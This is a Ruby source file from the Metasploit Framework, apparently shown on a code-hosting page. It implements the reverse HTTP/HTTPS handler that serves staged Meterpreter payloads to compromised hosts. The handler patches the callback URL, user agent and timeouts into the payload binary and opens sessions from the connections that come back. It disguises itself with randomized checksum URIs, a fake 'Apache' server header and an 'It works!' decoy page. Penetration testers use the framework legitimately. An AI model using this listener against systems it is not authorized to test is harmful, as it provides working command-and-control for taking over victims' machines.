/lib/msf/core/handler/reverse_http.rb
Ruby | 377 lines | 237 code | 63 blank | 77 comment | 16 complexity | 60bffa1aab9ef00b4772443a7a3c2a78 MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, LGPL-2.1, GPL-2.0, MIT
- # -*- coding: binary -*-
- require 'rex/io/stream_abstraction'
- require 'rex/sync/ref'
- module Msf
- module Handler
- ###
- #
- # This handler implements the HTTP SSL tunneling interface.
- #
- ###
- module ReverseHttp
- include Msf::Handler
- #
- # Returns the string representation of the handler type
- #
- def self.handler_type
- return "reverse_http"
- end
- #
- # Returns the connection-described general handler type, in this case
- # 'tunnel'.
- #
- def self.general_handler_type
- "tunnel"
- end
- #
- # Define 8-bit checksums for matching URLs
- # These are based on charset frequency
- #
- URI_CHECKSUM_INITW = 92
- URI_CHECKSUM_INITJ = 88
- URI_CHECKSUM_CONN = 98
- #
- # Precalculated checkums as fallback
- #
- URI_CHECKSUM_PRECALC = [
- "Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp",
- "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt",
- "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby",
- "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563",
- "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg",
- "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E",
- "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2",
- "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ",
- "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg",
- "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1",
- "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5",
- "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I",
- "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ",
- "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC",
- "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ",
- "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5",
- "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi",
- "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP",
- "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA",
- "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL",
- "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS",
- "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t",
- "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG",
- "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM",
- "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg",
- "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx"
- ]
- #
- # Use the +refname+ to determine whether this handler uses SSL or not
- #
- def ssl?
- !!(self.refname.index("https"))
- end
- #
- # Return a URI of the form scheme://host:port/
- #
- # Scheme is one of http or https and host is properly wrapped in [] for ipv6
- # addresses.
- #
- def full_uri
- lhost = datastore['LHOST']
- if lhost.empty? or lhost == "0.0.0.0" or lhost == "::"
- lhost = Rex::Socket.source_address
- end
- lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
- scheme = (ssl?) ? "https" : "http"
- uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/"
- uri
- end
- #
- # Map "random" URIs to static strings, allowing us to randomize
- # the URI sent in the first request.
- #
- def process_uri_resource(uri_match)
- # This allows 'random' strings to be used as markers for
- # the INIT and CONN request types, based on a checksum
- uri_strip, uri_conn = uri_match.split('_', 2)
- uri_strip.sub!(/^\//, '')
- uri_check = Rex::Text.checksum8(uri_strip)
- # Match specific checksums and map them to static URIs
- case uri_check
- when URI_CHECKSUM_INITW
- uri_match = "/INITM"
- when URI_CHECKSUM_INITJ
- uri_match = "/INITJM"
- when URI_CHECKSUM_CONN
- uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) )
- end
- uri_match
- end
- #
- # Create a URI that matches a given checksum
- #
- def generate_uri_checksum(sum)
- chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
- 32.times do
- uri = Rex::Text.rand_text_alphanumeric(3)
- chk.sort_by {rand}.each do |x|
- return(uri + x) if Rex::Text.checksum8(uri + x) == sum
- end
- end
- # Otherwise return one of the pre-calculated strings
- return URI_CHECKSUM_PRECALC[sum]
- end
- #
- # Initializes the HTTP SSL tunneling handler.
- #
- def initialize(info = {})
- super
- register_options(
- [
- OptString.new('LHOST', [ true, "The local listener hostname" ]),
- OptPort.new('LPORT', [ true, "The local listener port", 8080 ])
- ], Msf::Handler::ReverseHttp)
- register_advanced_options(
- [
- OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
- OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', (24*3600*7)]),
- OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]),
- OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]),
- OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]),
- OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
- OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>' ])
- ], Msf::Handler::ReverseHttp)
- end
- #
- # Toggle for IPv4 vs IPv6 mode
- #
- def ipv6
- self.refname.index('ipv6') ? true : false
- end
- #
- # Create an HTTP listener
- #
- def setup_handler
- comm = datastore['ReverseListenerComm']
- if (comm.to_s == "local")
- comm = ::Rex::Socket::Comm::Local
- else
- comm = nil
- end
- # Determine where to bind the HTTP(S) server to
- bindaddrs = ipv6 ? '::' : '0.0.0.0'
- if not datastore['ReverseListenerBindAddress'].to_s.empty?
- bindaddrs = datastore['ReverseListenerBindAddress']
- end
- # Start the HTTPS server service on this host/port
- self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
- datastore['LPORT'].to_i,
- bindaddrs,
- ssl?,
- {
- 'Msf' => framework,
- 'MsfExploit' => self,
- },
- comm,
- (ssl?) ? datastore["SSLCert"] : nil
- )
- self.service.server_name = datastore['MeterpreterServerName']
- # Create a reference to ourselves
- obj = self
- # Add the new resource
- service.add_resource("/",
- 'Proc' => Proc.new { |cli, req|
- on_request(cli, req, obj)
- },
- 'VirtualDirectory' => true)
- print_status("Started HTTP#{ssl? ? "S" : ""} reverse handler on #{full_uri}")
- end
- #
- # Simply calls stop handler to ensure that things are cool.
- #
- def cleanup_handler
- stop_handler
- end
- #
- # Basically does nothing. The service is already started and listening
- # during set up.
- #
- def start_handler
- end
- #
- # Removes the / handler, possibly stopping the service if no sessions are
- # active on sub-urls.
- #
- def stop_handler
- self.service.remove_resource("/") if self.service
- end
- attr_accessor :service # :nodoc:
- protected
- #
- # Parses the HTTPS request
- #
- def on_request(cli, req, obj)
- sid = nil
- resp = Rex::Proto::Http::Response.new
- print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
- uri_match = process_uri_resource(req.relative_resource)
- # Process the requested resource.
- case uri_match
- when /^\/INITJM/
- conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
- url = full_uri + conn_id + "/\x00"
- blob = ""
- blob << obj.generate_stage
- # This is a TLV packet - I guess somewhere there should be API for building them
- # in Metasploit :-)
- packet = ""
- packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
- packet << [url.length+8, 0x1000a].pack('NN')+url
- packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN')
- packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN')
- blob << [packet.length+8, 0].pack('NN') + packet
- resp.body = blob
- # Short-circuit the payload's handle_connection processing for create_session
- create_session(cli, {
- :passive_dispatcher => obj.service,
- :conn_id => conn_id,
- :url => url,
- :expiration => datastore['SessionExpirationTimeout'].to_i,
- :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
- :ssl => ssl?
- })
- when /^\/A?INITM?/
- url = ''
- print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
- resp['Content-Type'] = 'application/octet-stream'
- blob = obj.stage_payload
- # Replace the user agent string with our option
- i = blob.index("METERPRETER_UA\x00")
- if i
- str = datastore['MeterpreterUserAgent'][0,255] + "\x00"
- blob[i, str.length] = str
- print_status("Patched user-agent at offset #{i}...")
- end
- # Replace the transport string first (TRANSPORT_SOCKET_SSL)
- i = blob.index("METERPRETER_TRANSPORT_SSL")
- if i
- str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00"
- blob[i, str.length] = str
- end
- print_status("Patched transport at offset #{i}...")
- conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
- i = blob.index("https://" + ("X" * 256))
- if i
- url = full_uri + conn_id + "/\x00"
- blob[i, url.length] = url
- end
- print_status("Patched URL at offset #{i}...")
- i = blob.index([0xb64be661].pack("V"))
- if i
- str = [ datastore['SessionExpirationTimeout'] ].pack("V")
- blob[i, str.length] = str
- end
- print_status("Patched Expiration Timeout at offset #{i}...")
- i = blob.index([0xaf79257f].pack("V"))
- if i
- str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
- blob[i, str.length] = str
- end
- print_status("Patched Communication Timeout at offset #{i}...")
- resp.body = blob
- # Short-circuit the payload's handle_connection processing for create_session
- create_session(cli, {
- :passive_dispatcher => obj.service,
- :conn_id => conn_id,
- :url => url,
- :expiration => datastore['SessionExpirationTimeout'].to_i,
- :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
- :ssl => ssl?,
- })
- when /^\/CONN_.*\//
- resp.body = ""
- # Grab the checksummed version of CONN from the payload's request.
- conn_id = req.relative_resource.gsub("/", "")
- print_status("Incoming orphaned session #{conn_id}, reattaching...")
- # Short-circuit the payload's handle_connection processing for create_session
- create_session(cli, {
- :passive_dispatcher => obj.service,
- :conn_id => conn_id,
- :url => full_uri + conn_id + "/\x00",
- :expiration => datastore['SessionExpirationTimeout'].to_i,
- :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
- :ssl => ssl?,
- })
- else
- print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...")
- resp.code = 200
- resp.message = "OK"
- resp.body = datastore['HttpUnknownRequestResponse'].to_s
- end
- cli.send_response(resp) if (resp)
- # Force this socket to be closed
- obj.service.close_client( cli )
- end
- end
- end
- end